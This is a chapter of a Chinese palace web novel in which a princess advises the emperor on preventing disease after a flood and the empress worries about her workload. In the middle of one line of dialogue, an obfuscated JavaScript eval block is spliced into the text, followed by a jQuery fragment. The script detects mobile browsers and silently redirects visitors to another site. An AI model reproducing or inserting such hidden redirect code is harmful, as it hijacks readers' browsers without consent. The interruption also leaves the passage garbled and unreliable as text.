没等旁人说话,她继续开口,声音不高,却字字清晰,“嘉宁听说,如今南方洪涝严重,百姓受灾,若在这节骨眼上,宫中还要为我大肆举行及笄礼,嘉宁实在心中有愧。嘉宁肯定皇叔,将及笄礼一切从简,省下的银两,悉数用于赈灾。” 殿内一时寂静。 文靖帝看着她,目光里带着复杂的情绪,欣慰中,还有一丝心疼。 “嘉宁。”他的声音放软了些,“这是你的及笄礼,一辈子也只有一回,你可……想好了?” “想好了。”赵嘉宁没有犹豫。 “好。”文靖帝点点头,“那皇叔就依你。” 看着赵嘉宁脸上露出的真挚的笑容,赵锦瑜忽然想起偶尔与她闲聊时,那些不经意间流露出的只言片语。 她一直觉得她的这位姐姐有深度,却一直没想过这份深度从何而来。 如今她明白了。 那或许根本不是什么“深度”,那是一颗赤诚的心。 她走上前,握住赵嘉宁的手,轻轻将她拉起,“姐姐有这份心,是咱们大晋的福气。” 赵嘉宁浅笑着摇头,“阿瑜言重了。” “不重。”文靖帝脸上带着和善的笑,“阿瑜说得很对,嘉宁能有这份心,皇叔也很欣慰。等及笄后便是大人了,皇叔希望嘉宁能记住今天,永远记着这份心。” 赵嘉宁抬起头,对上他的目光,郑重地点了点头。 这时,文靖帝想起女儿方才有话还未说完,便问:“阿瑜方才想和父皇说什么来着?” 赵锦瑜下意识瞧了眼赵嘉宁,原是想等她走再说的,不过再一想也不妨事。 赵嘉宁察觉到她的目光,浅笑道:“那我先回避吧。” “不用不用。”赵锦瑜连忙摇头,“也不是什么不能让人听的事,姐姐在这,说不定还能帮着出出主意。就是……” 她顿了顿,干脆直接开口:“父皇,儿臣认为,洪涝过后,咱们还得防着一件事。” 文靖帝一时没明白,“什么事?” 赵锦瑜斟酌了一下用词,“疫病。” 这两个字一出来,文靖帝的眉头瞬间皱紧了。 赵嘉宁神情也微微一变,愣了一瞬,随即露出一丝像是恍然大悟的表情。 “对呀。”她喃喃道:“我曾在史书中看到过,洪水退去后……的确是有出现疫病的风险。” 赵锦瑜点点头,“一场洪涝结束,那些淹死的人畜,冲的到处都是的脏东西,还有被污染的水源……这些都是容易引发疫病的元凶。儿臣也记得史书上写过,大灾后常有大疫。要真等疫病起来再想办法,就晚了。” 文靖帝的眉头越皱越深,沉默了片刻,他忽然摆了摆手,“阿瑜和嘉宁都坐下。” 赵锦瑜和赵嘉宁相视一眼,乖乖坐下。 “阿瑜说得对。”文靖帝呼出一口气,“我这些日子光想着怎么救灾了,倒是把这事给忘了。” “阿瑜。”他紧接着又道:“你既提起此事,心中可是有主意了?” 赵锦瑜想了想,把脑子里那些现代东西理了理,尽量说得简单明白。 “儿臣现在想到三点,第一,在洪水退去后要及时清理淤泥脏物,不能堆着不管。第二,水井不能立即恢复使用,里头的水源可能会被污染,要在淘洗后保证干净了在用。第三,遇难的人畜尸体要尽快掩埋和焚烧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260258|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝不能等太阳来了暴晒。” 说到这,她顿了顿,又补一句,“还有就是,灾民聚集的地方容易生疫,最好能分棚安置,挤在一起有增加疫病传播的风险。另外,一旦有人出现高热或是生疮,必须单独隔离,医治的人接触时也需蒙住口鼻,减轻传染风险。” 赵嘉宁在一旁轻轻点头,似是对她这番言论十分惊喜,“阿瑜说的这些,虽乍一听似乎工作量巨大,很难实现,但现在开始就提前应对起来,只要心齐,不会是太难的事。” 文靖帝的脑袋在她们二人说话时,也是时不时就轻轻点一下,他很同意她们的话,并且完全听了进去。 “行,这事就这么定了。”他拿起笔,在纸上刷刷开始写起来,“我这就拟下来,让户部立刻去加急统筹此事。另外——” 他想了想,又道:“再让太医院拟份防疫药材清单。” 话落,又接着提笔了。 赵锦瑜和赵嘉宁对视一眼,都笑了。 之后的抗灾防疫工作,朝廷的动作比想象中快得多。 户部挑了六个得力的人,分头去了受灾的三个州县。出发前一晚,文靖帝还亲自召见了他们,不知说了些什么,只听说那六人赶紧连夜打包行李,没等天亮便出动了,生怕耽误了事。 周皇后知道这事后还忍不住好奇,问了。 文靖帝原本想卖个关子,但在皇后的眼神攻势下还是招了。 “也不知道阿瑜哪儿学来的鬼点子。”他嘿嘿一笑,“阿瑜就同我说了两点。其一,要与政绩挂钩,告诉他们做得好的优先提拔,不按资历排队。其二,要用情怀激励,抬高他们身份的同时,还要让他们共情百姓,要让他们生出一种‘上不负朝廷,下不负苍生’的大义。” 周皇后听后沉默了,她看着文靖帝脸上掩不住的欣慰与得意,忽然有些恍惚。 阿瑜教的。 又是阿瑜。 她想起这些日子以来女儿的种种。 从前在王府的时候,阿瑜就是个懂事的孩子,可也没懂事成这样。 想到这,周皇后心里忽然涌起一股说不上来的滋味。 不是不高兴,更不是不骄傲,就是……有点复杂。 文靖帝察觉到她神情有异,立刻收了笑意,“怎么了?” “没什么。”周皇后摇摇头,轻声道:“就是觉得……阿瑜那孩子,是不是太累了?” 文靖帝闻言愣了一下。 “累?”他想了想,认真道:“她倒没说累,每天都挺精神的。” 周皇后忍不住白他一眼,声音都提高了两分,“她才多大,都还没及笄呢,就要操心这些事。” 她顿了顿,声音降了下来,“我有时都在想,是不是咱们被推上这个位置,给她太大压力了。” 文靖帝沉默了。 他抬起头看周皇后,半晌后,握住她的手,开口:“其实……我觉得阿瑜在与我提及这些事时,真的很有干劲。” “……” 周皇后气得将手抽出,“那干劲也是会耗完的,如今她这么帮你出谋划策,往后若是真将这江山交给了锦辰,阿瑜这位阿姐,是不是还离不得了?” 周皇后看着他,“那阿瑜……还不得累死?” 文靖帝忽然认真思考起了这个问题,眉头也随之皱了起来。 是啊,这样下去,他闺女可能真会累。